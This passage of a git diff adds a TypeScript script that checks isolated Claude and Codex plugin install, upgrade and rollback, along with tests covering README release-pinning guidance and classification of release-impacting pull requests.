const active = installed.find((entry) => entry.id === pluginId && entry.scope === scope) + if (!active) throw new Error(`Claude did not report the ${scope}-scoped plugin as installed`) + return { + version: active.version, + scope: active.scope, + enabled: active.enabled, + activeCachePath: active.installPath, + } +} + +function addClaudeMarketplace( + claudeExecutable: string, + marketplaceRoot: string, + scope: ClaudeScope, + environment: Record, + cwd: string, +): void { + command( + [claudeExecutable, "plugin", "marketplace", "add", marketplaceRoot, "--scope", scope], + { cwd, env: environment }, + ) +} + +function replaceClaudeInstall( + claudeExecutable: string, + pluginId: string, + marketplaceName: string, + marketplaceRoot: string, + scope: ClaudeScope, + environment: Record, + cwd: string, +): ClaudeInstall { + command( + [claudeExecutable, "plugin", "uninstall", pluginId, "--keep-data", "--scope", scope], + { cwd, env: environment }, + ) + command( + [claudeExecutable, "plugin", "marketplace", "remove", marketplaceName, "--scope", scope], + { cwd, env: environment }, + ) + addClaudeMarketplace(claudeExecutable, marketplaceRoot, scope, environment, cwd) + command([claudeExecutable, "plugin", "install", pluginId, "--scope", scope], { + cwd, + env: environment, + }) + const disabled = findClaudeInstall(claudeExecutable, environment, cwd, pluginId, scope) + if (disabled.enabled) throw new Error("Claude replacement became enabled before explicit review") + command([claudeExecutable, "plugin", "enable", pluginId, "--scope", scope], { + cwd, + env: environment, + }) + return findClaudeInstall(claudeExecutable, environment, cwd, pluginId, scope) +} + +function proveClaudeNative( + fixture: FixtureRelease, + pluginName: string, + claudeExecutable: string, + temporaryRoot: string, +): ClaudeProof { + const marketplaceName = pluginName + const pluginId = `${pluginName}@${marketplaceName}` + const scopeResults: ClaudeScopeProof[] = [] + let primary: ClaudeInstall | undefined + let primaryInventory: string[] = [] + for (const scope of ["user", "project", "local"] as const) { + const home = join(temporaryRoot, "claude", scope, "home") + const project = join(temporaryRoot, "claude", scope, "project") + mkdirSync(home, { recursive: true }) + mkdirSync(project, { recursive: true }) + const environment = claudeEnvironment(home) + addClaudeMarketplace(claudeExecutable, fixture.base.checkoutRoot, scope, environment, project) + command([claudeExecutable, "plugin", "install", pluginId, "--scope", scope], { + cwd: project, + env: environment, + }) + const initial = findClaudeInstall(claudeExecutable, environment, project, pluginId, scope) + if (initial.enabled) throw new Error("Claude installed a default-disabled plugin as enabled") + const initialInventory = comparePayload(fixture.base, initial.activeCachePath) + const dataRoot = join(home, "plugins", "data", pluginId) + const markerPath = join(dataRoot, "u6-marker.txt") + mkdirSync(dataRoot, { recursive: true }) + writeFileSync(markerPath, `${scope} marker\n`) + const priorRecovery = { + source: fixture.base.checkoutRoot, + ref: fixture.base.requestedRef, + version: initial.version, + payloadInventory: initialInventory, + enabled: initial.enabled, + scope, + persistentData: readFileSync(markerPath, "utf8"), + } + + const upgraded = replaceClaudeInstall( + claudeExecutable, + pluginId, + marketplaceName, + fixture.target.checkoutRoot, + scope, + environment, + project, + ) + if (upgraded.version !== fixture.target.manifestVersion) { + throw new Error(`Claude ${scope} upgrade reported the wrong version`) + } + const rolledBack = replaceClaudeInstall( + claudeExecutable, + pluginId, + marketplaceName, + fixture.base.checkoutRoot, + scope, + environment, + project, + ) + if (rolledBack.version !== fixture.base.manifestVersion) { + throw new Error(`Claude ${scope} rollback reported the wrong version`) + } + if (readFileSync(markerPath, "utf8") !== `${scope} marker\n`) { + throw new Error(`Claude ${scope} persistent data did not survive replacement`) + } + const restoredAfterFailure = provePostMutationRecovery( + priorRecovery, + { + harness: "Claude", + mutate: () => { + command( + [claudeExecutable, "plugin", "uninstall", pluginId, "--keep-data", "--scope", scope], + { cwd: project, env: environment }, + ) + command( + [claudeExecutable, "plugin", "marketplace", "remove", marketplaceName, "--scope", scope], + { cwd: project, env: environment }, + ) + }, + restore: () => { + addClaudeMarketplace( + claudeExecutable, + fixture.base.checkoutRoot, + scope, + environment, + project, + ) + command([claudeExecutable, "plugin", "install", pluginId, "--scope", scope], { + cwd: project, + env: environment, + }) + const restored = findClaudeInstall( + claudeExecutable, + environment, + project, + pluginId, + scope, + ) + return { + value: restored, + snapshot: { + source: fixture.base.checkoutRoot, + ref: fixture.base.requestedRef, + version: restored.version, + payloadInventory: comparePayload(fixture.base, restored.activeCachePath), + enabled: restored.enabled, + scope: restored.scope, + persistentData: readFileSync(markerPath, "utf8"), + }, + } + }, + }, + ) + const failureRestored = true + command([claudeExecutable, "plugin", "enable", pluginId, "--scope", scope], { + cwd: project, + env: environment, + }) + const activeAfterFailure = findClaudeInstall( + claudeExecutable, + environment, + project, + pluginId, + scope, + ) + const orphanedCachePath = join(dirname(activeAfterFailure.activeCachePath), "0.0.0-orphaned") + mkdirSync(orphanedCachePath, { recursive: true }) + writeFileSync(join(orphanedCachePath, "orphan-marker.txt"), "not active\n") + const hostSelected = findClaudeInstall( + claudeExecutable, + environment, + project, + pluginId, + scope, + ) + if (hostSelected.activeCachePath === orphanedCachePath) { + throw new Error("Claude proof selected an orphaned cache directory") + } + const inventory = comparePayload(fixture.base, hostSelected.activeCachePath) + scopeResults.push({ + scope, + initialVersion: initial.version, + initialEnabled: initial.enabled, + upgradedVersion: upgraded.version, + rolledBackVersion: rolledBack.version, + enabledAfterReview: hostSelected.enabled, + dataMarkerPreserved: true, + failureRestored, + orphanedCacheIgnored: true, + activeCachePath: hostSelected.activeCachePath, + }) + if (scope === "user") { + primary = hostSelected + primaryInventory = inventory + } + } + if (!primary) throw new Error("Claude user-scope proof did not run") + return { + mode: "native-local-marketplace" as HarnessMode, + version: primary.version, + scope: primary.scope, + enabled: primary.enabled, + activeCachePath: primary.activeCachePath, + inventory: primaryInventory, + requestedRef: fixture.base.requestedRef, + resolvedSha: fixture.base.resolvedSha, + defaultEnabled: false, + compatibility: CLAUDE_DISABLED_BY_DEFAULT_COMPATIBILITY, + scopes: scopeResults, + } +} + +function proveClaudeFixtureCopy( + fixture: FixtureRelease, + pluginName: string, + temporaryRoot: string, +): ClaudeProof { + const activeCachePath = join( + temporaryRoot, + "claude-fixture-home", + "plugins", + "cache", + pluginName, + pluginName, + fixture.base.manifestVersion, + ) + copyPluginPayload(fixture.base.checkoutRoot, activeCachePath) + return { + mode: "fixture-copy" as HarnessMode, + version: fixture.base.manifestVersion, + scope: "user" as ClaudeScope, + enabled: false, + activeCachePath, + inventory: comparePayload(fixture.base, activeCachePath), + requestedRef: fixture.base.requestedRef, + resolvedSha: fixture.base.resolvedSha, + defaultEnabled: false, + compatibility: CLAUDE_DISABLED_BY_DEFAULT_COMPATIBILITY, + scopes: [], + } +} + +function findCodexPlugin( + codexExecutable: string, + environment: Record, + cwd: string, + pluginId: string, +): { raw: CodexPluginListJson; plugin: CodexInstalledPlugin } { + const raw = jsonCommand([codexExecutable, "plugin", "list", "--json"], { + cwd, + env: environment, + }) + const plugin = raw.installed.find((entry) => entry.pluginId === pluginId) + if (!plugin) throw new Error("Codex did not report the plugin as installed") + return { raw, plugin } +} + +function installCodex( + codexExecutable: string, + marketplaceRoot: string, + pluginId: string, + environment: Record, + cwd: string, + ref?: string, +): CodexInstallState { + const marketplaceArguments = [codexExecutable, "plugin", "marketplace", "add", marketplaceRoot] + if (ref) marketplaceArguments.push("--ref", ref) + marketplaceArguments.push("--json") + const addMarketplace = jsonCommand( + marketplaceArguments, + { cwd, env: environment }, + ) + const add = jsonCommand([codexExecutable, "plugin", "add", pluginId, "--json"], { + cwd, + env: environment, + }) + const marketplace = jsonCommand( + [codexExecutable, "plugin", "marketplace", "list", "--json"], + { cwd, env: environment }, + ) + const listed = findCodexPlugin(codexExecutable, environment, cwd, pluginId) + return { marketplaceAdd: addMarketplace, add, marketplace, list: listed.raw, plugin: listed.plugin } +} + +/** Native install evidence fetched independently from one hosted marketplace ref. */ +export interface HostedHarnessInstallProof { + temporaryRoot: string + preflight: TaggedCheckout + claude: { mode: "native-hosted-marketplace"; version: string; inventory: string[] } + codex: { mode: "native-hosted-marketplace"; version: string; inventory: string[] } +} + +/** Bind each native client to the same transport-specific hosted Git remote and ref. */ +export function hostedMarketplaceSources( + remote: string, + ref: string, +): { claude: string; codex: string; ref: string } { + const supportedRemote = + /^https:\/\/[A-Za-z0-9.-]+\/[A-Za-z0-9_.-]+\/[A-Za-z0-9_.-]+\.git$/.test(remote) || + /^[A-Za-z0-9._-]+@[A-Za-z0-9.-]+:[A-Za-z0-9_.-]+\/[A-Za-z0-9_.-]+\.git$/.test(remote) + if (!supportedRemote || !/^[A-Za-z0-9._/-]+$/.test(ref)) { + throw new Error("hosted marketplace proof requires an SSH or HTTPS Git remote and a supported ref") + } + return { claude: `${remote}#${ref}`, codex: remote, ref } +} + +/** + * Install one hosted marketplace ref through both native CLIs in isolated homes. + * + * The candidate checkout supplies expected bytes only. Both harnesses fetch the hosted repository + * independently, so a local fixture cannot satisfy this proof. + */ +export function proveHostedHarnessInstall( + sourceRoot: string, + remote: string, + ref: string, + expectedSha: string, +): HostedHarnessInstallProof { + if (!ref || !/^[a-f0-9]{40}$/.test(expectedSha)) { + throw new Error("hosted marketplace proof requires a ref and full expected commit SHA") + } + const sources = hostedMarketplaceSources(remote, ref) + const claudeExecutable = Bun.which("claude") + const codexExecutable = Bun.which("codex") + if (!claudeExecutable || !codexExecutable) { + throw new Error("native harness CLIs are required for hosted marketplace proof") + } + const repositoryRoot = resolve(sourceRoot) + const claudeManifest = JSON.parse( + readFileSync(join(repositoryRoot, "plugin", ".claude-plugin", "plugin.json"), "utf8"), + ) as { name?: unknown; version?: unknown } + const codexManifest = JSON.parse( + readFileSync(join(repositoryRoot, "plugin", ".codex-plugin", "plugin.json"), "utf8"), + ) as { name?: unknown; version?: unknown } + if ( + typeof claudeManifest.name !== "string" || + typeof claudeManifest.version !== "string" || + claudeManifest.name !== codexManifest.name || + claudeManifest.version !== codexManifest.version + ) { + throw new Error("hosted Claude and Codex manifest identities differ") + } + const expected: TaggedCheckout = { + requestedRef: ref, + resolvedSha: expectedSha, + checkoutRoot: repositoryRoot, + manifestVersion: claudeManifest.version, + inventory: pluginPayloadInventory(repositoryRoot), + } + const temporaryRoot = mkdtempSync(join(tmpdir(), "hosted-harness-install-proof-")) + try { + const claudeHome = join(temporaryRoot, "claude", "home") + const claudeProject = join(temporaryRoot, "claude", "project") + mkdirSync(claudeHome, { recursive: true }) + mkdirSync(claudeProject, { recursive: true }) + const claudeEnv = claudeEnvironment(claudeHome) + addClaudeMarketplace( + claudeExecutable, + sources.claude, + "user", + claudeEnv, + claudeProject, + ) + const pluginId = `${claudeManifest.name}@${claudeManifest.name}` + command([claudeExecutable, "plugin", "install", pluginId, "--scope", "user"], { + cwd: claudeProject, + env: claudeEnv, + }) + const claudeInstall = findClaudeInstall( + claudeExecutable, + claudeEnv, + claudeProject, + pluginId, + "user", + ) + if (claudeInstall.version !== claudeManifest.version) { + throw new Error("Claude hosted install reported the wrong manifest version") + } + const claudeInventory = comparePayload(expected, claudeInstall.activeCachePath) + + const codexHome = join(temporaryRoot, "codex", "home") + const codexProject = join(temporaryRoot, "codex", "project") + mkdirSync(codexHome, { recursive: true }) + mkdirSync(codexProject, { recursive: true }) + const codexInstall = installCodex( + codexExecutable, + sources.codex, + pluginId, + codexEnvironment(codexHome), + codexProject, + ref, + ) + assertCodexReportedVersion(codexInstall, claudeManifest.version, "hosted install") + const codexInventory = comparePayload(expected, codexInstall.add.installedPath) + return { + temporaryRoot, + preflight: expected, + claude: { + mode: "native-hosted-marketplace", + version: claudeInstall.version, + inventory: claudeInventory, + }, + codex: { + mode: "native-hosted-marketplace", + version: codexInstall.add.version, + inventory: codexInventory, + }, + } + } catch (error) { + rmSync(temporaryRoot, { recursive: true, force: true }) + throw error + } +} + +function removeCodex( + codexExecutable: string, + pluginId: string, + marketplaceName: string, + environment: Record, + cwd: string, +): void { + jsonCommand([codexExecutable, "plugin", "remove", pluginId, "--json"], { + cwd, + env: environment, + }) + jsonCommand( + [codexExecutable, "plugin", "marketplace", "remove", marketplaceName, "--json"], + { cwd, env: environment }, + ) +} + +/** + * Validate Git transport prerequisites without attempting private network access. + * + * @param input - Transport facts supplied by the caller's credential preflight + * @returns Accepted transport and source when every required prerequisite is present + * @throws {Error} When SSH or HTTPS admission is incomplete or token-only + * + * @example + * ```typescript + * admitGitTransport({ source: "/tmp/repo", transport: "local" }) + * ``` + */ +export function admitGitTransport(input: TransportInput): { source: string; transport: string } { + if (input.tokenEnvironmentOnly) { + throw new Error("token environment variables alone do not satisfy Git credential admission") + } + if (input.transport === "ssh" && (!input.hostKeyAccepted || !input.agentKeyLoaded)) { + throw new Error("SSH admission requires accepted host keys and an agent-loaded key") + } + if (input.transport === "https" && !input.credentialHelperConfigured) { + throw new Error("HTTPS admission requires a configured Git credential helper") + } + return { source: input.source, transport: input.transport } +} + +/** + * Block replacement before mutation unless target and restoration tags remain admissible. + * + * @param input - Detached target/restoration evidence plus managed-state policy + * @returns Mutation admission with a stable administrator handoff when permitted + * @throws {Error} When either ref is denied, managed, non-removable, or not a matching immutable tag + * + * @example + * ```typescript + * assertReplacementAdmission({ target, restoration, allowedRefs: [target.requestedRef, restoration.requestedRef], managed: false, removable: true }) + * ``` + */ +export function assertReplacementAdmission( + input: ReplacementAdmissionInput, +): { admitted: true; nextAction: string } { + if (input.managed || !input.removable) { + throw new Error( + "administrator handoff required: managed or non-removable plugin state cannot be replaced locally", + ) + } + for (const checkout of [input.target, input.restoration]) { + if (!input.allowedRefs.includes(checkout.requestedRef)) { + throw new Error(`replacement ref denied before mutation: ${checkout.requestedRef}`) + } + if (checkout.requestedRef !== `v${checkout.manifestVersion}`) { + throw new Error(`replacement ref does not match inspected manifest: ${checkout.requestedRef}`) + } + if (!/^[a-f0-9]{40}$/.test(checkout.resolvedSha)) { + throw new Error(`replacement ref has no proven commit: ${checkout.requestedRef}`) + } + } + return { admitted: true, nextAction: "capture host JSON state, then replace through native commands" } +} + +/** + * Bind Codex trust review to the version-bearing hook command and executable closure bytes. + * + * @param pluginRoot - Installed plugin payload root + * @returns Exact definition and executable-closure hashes used for review comparison + * @throws {Error} When the hook definition omits the installed manifest version + * + * @example + * ```typescript + * const evidence = codexHookTrustEvidence(installedPath) + * ``` + */ +export function codexHookTrustEvidence(pluginRoot: string): { + version: string + command: string + definitionHash: string + executableClosureHash: string +} { + const manifest = JSON.parse( + readFileSync(join(pluginRoot, ".codex-plugin", "plugin.json"), "utf8"), + ) + const hooks = JSON.parse(readFileSync(join(pluginRoot, "hooks", "codex", "hooks.json"), "utf8")) + const commandDefinition = hooks.hooks.SessionStart[0].hooks[0].command as string + if (!commandDefinition.includes(`--plugin-version ${manifest.version}`)) { + throw new Error("Codex hook definition does not carry the installed plugin version") + } + const closure = [ + "bin/hello-world", + "runtime/hello-world.js", + ...readdirSync(join(pluginRoot, "runtime")) + .filter((entry) => entry.startsWith("qjs-")) + .map((entry) => `runtime/${entry}`), + ].sort() + const closureHash = createHash("sha256") + for (const relativePath of closure) { + closureHash.update(relativePath) + closureHash.update("\0") + closureHash.update(readFileSync(join(pluginRoot, relativePath))) + } + return { + version: manifest.version, + command: commandDefinition, + definitionHash: createHash("sha256").update(commandDefinition).digest("hex"), + executableClosureHash: closureHash.digest("hex"), + } +} + +function runHarnessInstallProof( + repositoryRoot: string, + temporaryRoot: string, + executables: NativeHarnessExecutables, +): HarnessInstallProof { + const fixture = createFixtureRelease(repositoryRoot, temporaryRoot) + admitGitTransport({ + source: fixture.repositoryRoot, + transport: "local", + }) + assertReplacementAdmission({ + target: fixture.target, + restoration: fixture.base, + allowedRefs: [fixture.base.requestedRef, fixture.target.requestedRef], + managed: false, + removable: true, + }) + const pluginConfig = loadPluginConfig(repositoryRoot) + const skips: HarnessSkip[] = [ + { + case: "Codex interactive /hooks trust acceptance", + reason: "Trust acceptance requires a human interactive task; proof records enabled plus untrusted pre-task state instead.", + }, + { + case: "Private SSH/HTTPS marketplace fetch and background refresh", + reason: "Hermetic proof has no private remote; pure transport admission proves prerequisites without using credentials.", + }, + { + case: "Hosted Git marketplace fresh-task execution", + reason: "A fresh Codex task requires live model access; local native JSON and installedPath bytes prove selection offline.", + }, + ] + const { claude: claudeExecutable, codex: codexExecutable } = executables + const claude = claudeExecutable + ? proveClaudeNative(fixture, pluginConfig.name, claudeExecutable, temporaryRoot) + : proveClaudeFixtureCopy(fixture, pluginConfig.name, temporaryRoot) + if (!claudeExecutable) { + skips.push({ + case: "Native Claude marketplace installation", + reason: "Claude CLI unavailable; isolated direct-copy cache evidence remains byte-complete.", + }) + } + const codex = codexExecutable + ? runCodexNative(fixture, pluginConfig.name, codexExecutable, temporaryRoot, { + install: installCodex, + remove: removeCodex, + comparePayload, + environment: codexEnvironment, + assertReplacementAdmission, + }) + : runCodexFixtureCopy(fixture, pluginConfig.name, temporaryRoot, comparePayload) + if (!codexExecutable) { + skips.push({ + case: "Native Codex marketplace installation", + reason: "Codex CLI unavailable; isolated direct-copy cache evidence remains byte-complete.", + }) + } + const trustBase = codexHookTrustEvidence(join(fixture.base.checkoutRoot, "plugin")) + const trustTarget = codexHookTrustEvidence(join(fixture.target.checkoutRoot, "plugin")) + if ( + trustBase.definitionHash === trustTarget.definitionHash || + trustBase.executableClosureHash === trustTarget.executableClosureHash + ) { + throw new Error("Codex release change did not invalidate exact-definition trust evidence") + } + const versionAgreement = + claude.version === fixture.base.manifestVersion && codex.version === fixture.base.manifestVersion + if (!versionAgreement) throw new Error("Claude and Codex installed versions do not agree with the tag") + return { + ok: true, + runId: randomUUID(), + sideEffects: "temporary isolated homes and local Git fixture only", + temporaryRoot, + preflight: fixture.base, + targetPreflight: fixture.target, + restorationPreflight: fixture.base, + claude, + codex, + versionAgreement, + trustDefinitionChanged: true, + skips, + nextAction: "Review the JSON evidence; run hosted and interactive qualifications only when their paths changed.", + } +} + +/** + * Run the complete local tagged-install proof without touching operator harness state. + * + * @param sourceRoot - Repository root containing canonical plugin and marketplace sources + * @returns Correlated proof report plus retained temporary evidence paths + * @throws {Error} When ref, manifest, inventory, native state, or byte comparison fails + * + * @example + * ```typescript + * const proof = proveHarnessInstall(process.cwd()) + * if (!proof.ok) process.exit(1) + * ``` + */ +export function proveHarnessInstall( + sourceRoot: string, + options: HarnessInstallProofOptions = {}, +): HarnessInstallProof { + const executables: NativeHarnessExecutables = { + claude: Bun.which("claude") ?? undefined, + codex: Bun.which("codex") ?? undefined, + } + if (options.requireNative && (!executables.claude || !executables.codex)) { + const missing = [!executables.claude && "claude", !executables.codex && "codex"].filter(Boolean) + throw new Error(`native harness CLIs are required; missing: ${missing.join(", ")}`) + } + const repositoryRoot = resolve(sourceRoot) + pluginPayloadInventory(repositoryRoot) + const temporaryRoot = mkdtempSync(join(tmpdir(), "harness-install-proof-")) + try { + return runHarnessInstallProof(repositoryRoot, temporaryRoot, executables) + } catch (error) { + rmSync(temporaryRoot, { recursive: true, force: true }) + throw error + } +} + +if (import.meta.main) { + const arguments_ = process.argv.slice(2) + if (arguments_.includes("--help") || arguments_.includes("-h")) { + console.log(help) + process.exit(0) + } + for (const argument of arguments_) { + if (argument !== "--json" && argument !== "--require-native" && argument !== "--allow-fixture-copy") { + console.error(`Error: unknown option: ${argument}`) + console.error("Run `bun run prove:harness-install -- --help` for usage.") + process.exit(2) + } + } + if (arguments_.includes("--require-native") && arguments_.includes("--allow-fixture-copy")) { + console.error("Error: --require-native cannot be combined with --allow-fixture-copy") + console.error("Run `bun run prove:harness-install -- --help` for usage.") + process.exit(2) + } + try { + const proof = proveHarnessInstall(resolve(import.meta.dir, ".."), { + requireNative: !arguments_.includes("--allow-fixture-copy"), + }) + const temporaryRoot = proof.temporaryRoot + const cleanedProof = { ...proof, evidenceRetained: false } + const serializedProof = JSON.stringify(cleanedProof, (_key, value) => + redactTemporaryEvidencePath(value, temporaryRoot), + ) + rmSync(proof.temporaryRoot, { recursive: true, force: true }) + console.log(serializedProof) + } catch (error) { + console.error( + JSON.stringify({ + ok: false, + category: "harness-install-proof", + message: error instanceof Error ? error.message : String(error), + retrySafe: true, + nextAction: "Fix the reported preflight or isolated native-install failure, then rerun the same command.", + }), + ) + process.exit(1) + } +} diff --git a/scripts/readme-release-pin.test.ts b/scripts/readme-release-pin.test.ts index c78ae16..55ce0b1 100644 --- a/scripts/readme-release-pin.test.ts +++ b/scripts/readme-release-pin.test.ts @@ -6,7 +6,7 @@ test("production installation pins each marketplace checkout to a release tag", const readme = await Bun.file(readmeUrl).text() const productionInstall = readme.slice( readme.indexOf("## Install in Claude Code"), - readme.indexOf("## Develop locally"), + readme.indexOf("## Upgrade and roll back"), ) const marketplaceAdds = productionInstall .split("\n") @@ -23,3 +23,58 @@ test("production installation pins each marketplace checkout to a release tag", expect(productionInstall).not.toContain("plugin marketplace upgrade") expect(productionInstall.match(/Remove the pinned marketplace entry/g)).toHaveLength(2) }) + +test("replacement guidance preserves the documented refresh operations", async () => { + const readme = await Bun.file(readmeUrl).text() + expect(readme).toContain("claude plugin marketplace update PLUGIN_NAME") + expect(readme).toContain("codex plugin marketplace upgrade PLUGIN_NAME") + expect(readme).toContain("Automatic Codex marketplace refresh is unspecified") + expect(readme).toContain("A pinned immutable tag should resolve to the same bytes") +}) + +test("release preflight peels annotated tags and accepts only GitHub SSH status 1", async () => { + const readme = await Bun.file(readmeUrl).text() + const preflight = readme.slice( + readme.indexOf("## Preflight a release tag"), + readme.indexOf("## Install in Claude Code"), + ) + + expect(preflight).toContain('fetch --no-tags origin "refs/tags/$TAG:refs/tags/$TAG"') + expect(preflight).toContain('rev-parse "refs/tags/$TAG^{commit}"') + expect(preflight).not.toContain("git ls-remote --refs \"$FETCH_URL\" \"refs/tags/$TAG\" | awk") + expect(preflight).toContain("SSH_STATUS=$?") + expect(preflight).toContain('if test "$SSH_STATUS" -ne 1; then') + expect(preflight).toContain("exit 1") +}) + +test("release documentation names checksum evidence and exact repair identity", async () => { + const readme = await Bun.file(readmeUrl).text() + const release = readme.slice(readme.indexOf("## Release"), readme.indexOf("## Proof commands")) + + expect(readme.toLowerCase()).not.toContain("provenance") + expect(readme).toContain("*.checksums.json") + expect(release).toContain("incomplete-publication repair") + expect(release).toContain("`RELEASE_PLEASE_TOKEN`") + expect(release).toContain("`RELEASE_PLEASE_AUTOMATION_LOGIN`") + expect(release).toContain("Release automation requires `RELEASE_PLEASE_TOKEN`") + expect(release).toContain("it does not fall back to `GITHUB_TOKEN`") + expect(release).toContain("both the release-impact gate and publication admission bind that identity") + expect(release).toContain("`maintenance` is the default") + expect(release).toContain("it only updates the standing release PR and never publishes") + expect(release).toContain("`repair` requires `release_tag`") + expect(release).toContain("exact existing `vX.Y.Z` tag") + expect(release).toContain("This repairs an incomplete publication; it does not create a new release.") + expect(release.match(/-f operation=maintenance/g)).toHaveLength(1) + expect(release.match(/-f operation=repair/g)).toHaveLength(2) +}) + +test("Codex support boundary names only the proven client surfaces", async () => { + const readme = await Bun.file(readmeUrl).text() + + expect(readme).toContain( + "Supported Codex surfaces: Codex CLI and Codex in the ChatGPT desktop app.", + ) + expect(readme).toContain( + "This repository does not claim support for the IDE extension, Chat, mobile, or a universal Codex host.", + ) +}) diff --git a/scripts/release-impact.test.ts b/scripts/release-impact.test.ts new file mode 100644 index 0000000..dee0e83 --- /dev/null +++ b/scripts/release-impact.test.ts @@ -0,0 +1,486 @@ +import { mkdirSync, mkdtempSync, readFileSync, writeFileSync } from "node:fs" +import { tmpdir } from "node:os" +import { join, resolve } from "node:path" + +import { describe, expect, test } from "bun:test" + +import { + classifyReleaseImpact, + isReleasePleaseVersionOnlyChange, +} from "./release-impact" + +describe("release impact", () => { + const root = resolve(import.meta.dir, "..") + const nonReleasablePayloadChanges = [ + ["docs: explain the skill", "plugin/skills/hello-world/SKILL.md"], + ["test: cover the hook", "plugin/hooks/claude/hooks.json"], + ["ci: package the launcher", "plugin/bin/hello-world"], + ["chore: refresh runtime assets", "plugin/runtime/quickjs-assets.json"], + ["refactor: reshape the manifest", "plugin/.codex-plugin/plugin.json"], + ["chore: refresh the marketplace", ".agents/plugins/marketplace.json"], + ] as const + + for (const [title, path] of nonReleasablePayloadChanges) { + test(`rejects ${path} under ${title.split(":")[0]} title`, () => { + expect( + classifyReleaseImpact({ + title, + changedFiles: [{ path }], + }), + ).toEqual({ + payloadChanged: true, + isReleasePleaseProjection: false, + titleIsReleasable: false, + ok: false, + changedPayloadPaths: [path], + acceptedTitleTypes: ["feat", "fix", "perf", "breaking (!)"], + }) + }) + } + + test("allows documentation, tests, and CI changes under a non-releasable title", () => { + const result = classifyReleaseImpact({ + title: "chore: maintain contributor checks", + changedFiles: [ + { path: "README.md" }, + { path: "docs/distribution.md" }, + { path: "scripts/release-impact.test.ts" }, + { path: ".github/workflows/plugin-ci.yml" }, + ], + }) + + expect(result).toMatchObject({ + payloadChanged: false, + isReleasePleaseProjection: false, + titleIsReleasable: false, + ok: true, + changedPayloadPaths: [], + }) + }) + + test("allows a payload source and generated output under fix title", () => { + const result = classifyReleaseImpact({ + title: "fix: keep the portable command deterministic", + changedFiles: [ + { path: "runtime/src/portable-command.ts" }, + { path: "plugin/runtime/hello-world.js" }, + ], + }) + + expect(result).toMatchObject({ + payloadChanged: true, + isReleasePleaseProjection: false, + titleIsReleasable: true, + ok: true, + changedPayloadPaths: [ + "runtime/src/portable-command.ts", + "plugin/runtime/hello-world.js", + ], + }) + }) + + test("exempts the exact Release Please version and changelog projection", () => { + const projection = [ + "plugin.config.json", + ".claude-plugin/marketplace.json", + "plugin/.claude-plugin/plugin.json", + "plugin/.codex-plugin/plugin.json", + "plugin/runtime/hello-world.js", + "plugin/hooks/codex/hooks.json", + ".github/.release-please-manifest.json", + "CHANGELOG.md", + ].map((path) => ({ path, versionOnly: true })) + + const result = classifyReleaseImpact({ + title: "chore(main): release 1.2.3", + changedFiles: projection, + pullRequestIdentity: { + headRef: "release-please--branches--main", + authorLogin: "github-actions[bot]", + expectedAutomationLogin: "github-actions[bot]", + }, + }) + + expect(result).toMatchObject({ + payloadChanged: true, + isReleasePleaseProjection: true, + titleIsReleasable: false, + ok: true, + }) + }) + + test("exempts the full node Release Please projection including package.json", () => { + const projection = [ + "package.json", + "plugin.config.json", + ".claude-plugin/marketplace.json", + "plugin/.claude-plugin/plugin.json", + "plugin/.codex-plugin/plugin.json", + "plugin/runtime/hello-world.js", + "plugin/hooks/codex/hooks.json", + ".github/.release-please-manifest.json", + "CHANGELOG.md", + ].map((path) => ({ path, versionOnly: true })) + + const result = classifyReleaseImpact({ + title: "chore(main): release 0.2.0", + changedFiles: projection, + pullRequestIdentity: { + headRef: "release-please--branches--main", + authorLogin: "github-actions[bot]", + expectedAutomationLogin: "github-actions[bot]", + }, + }) + + expect(result).toMatchObject({ + isReleasePleaseProjection: true, + ok: true, + }) + }) + + test("rejects a manual version projection without trusted Release Please identity", () => { + const projection = [ + { path: "plugin.config.json", versionOnly: true }, + { path: "CHANGELOG.md", versionOnly: true }, + ] + + for (const pullRequestIdentity of [ + undefined, + { + headRef: "manual-version-bump", + authorLogin: "github-actions[bot]", + expectedAutomationLogin: "github-actions[bot]", + }, + { + headRef: "release-please--branches--main", + authorLogin: "octocat", + expectedAutomationLogin: "github-actions[bot]", + }, + ]) { + expect( + classifyReleaseImpact({ + title: "chore(main): release 1.2.3", + changedFiles: projection, + pullRequestIdentity, + }), + ).toMatchObject({ isReleasePleaseProjection: false, ok: false }) + } + }) + + test("removes the projection exemption for an unrelated payload change", () => { + const result = classifyReleaseImpact({ + title: "chore(main): release 1.2.3", + changedFiles: [ + { path: "plugin.config.json", versionOnly: true }, + { path: "plugin/runtime/hello-world.js", versionOnly: true }, + { path: "CHANGELOG.md", versionOnly: true }, + { path: "plugin/skills/hello-world/SKILL.md" }, + ], + }) + + expect(result).toMatchObject({ + payloadChanged: true, + isReleasePleaseProjection: false, + titleIsReleasable: false, + ok: false, + changedPayloadPaths: [ + "plugin.config.json", + "plugin/runtime/hello-world.js", + "plugin/skills/hello-world/SKILL.md", + ], + }) + }) + + test("recognizes only the owned JSON version field as a version-only change", () => { + const before = JSON.stringify({ version: "1.2.2", description: "Portable" }) + const versionOnly = JSON.stringify({ version: "1.2.3", description: "Portable" }) + const payloadEdit = JSON.stringify({ version: "1.2.3", description: "Changed" }) + + expect(isReleasePleaseVersionOnlyChange("plugin.config.json", before, versionOnly)).toBe( + true, + ) + expect(isReleasePleaseVersionOnlyChange("plugin.config.json", before, payloadEdit)).toBe( + false, + ) + }) + + test("recognizes only the package.json version field as a version-only change", () => { + const before = JSON.stringify({ version: "0.1.0", scripts: { test: "bun test" } }) + const versionOnly = JSON.stringify({ version: "0.2.0", scripts: { test: "bun test" } }) + const scriptEdit = JSON.stringify({ version: "0.2.0", scripts: { test: "bun test unit" } }) + + expect(isReleasePleaseVersionOnlyChange("package.json", before, versionOnly)).toBe(true) + expect(isReleasePleaseVersionOnlyChange("package.json", before, scriptEdit)).toBe(false) + }) + + test("allows a non-version package.json edit without treating it as payload", () => { + const result = classifyReleaseImpact({ + title: "chore: add a package script", + changedFiles: [{ path: "package.json", versionOnly: false }], + }) + + expect(result).toMatchObject({ + payloadChanged: false, + isReleasePleaseProjection: false, + titleIsReleasable: false, + ok: true, + changedPayloadPaths: [], + }) + }) + + test("recognizes generated hook and runtime version markers", () => { + expect( + isReleasePleaseVersionOnlyChange( + "plugin/hooks/codex/hooks.json", + '{"command":"hello --plugin-version 1.2.2 # x-release-please-version"}', + '{"command":"hello --plugin-version 1.2.3 # x-release-please-version"}', + ), + ).toBe(true) + expect( + isReleasePleaseVersionOnlyChange( + "plugin/runtime/hello-world.js", + 'const PLUGIN_VERSION = "1.2.2";\nrunOld()', + 'const PLUGIN_VERSION = "1.2.3";\nrunNew()', + ), + ).toBe(false) + }) + + for (const title of [ + "feat!: replace the plugin contract", + "fix!: remove the legacy hook", + 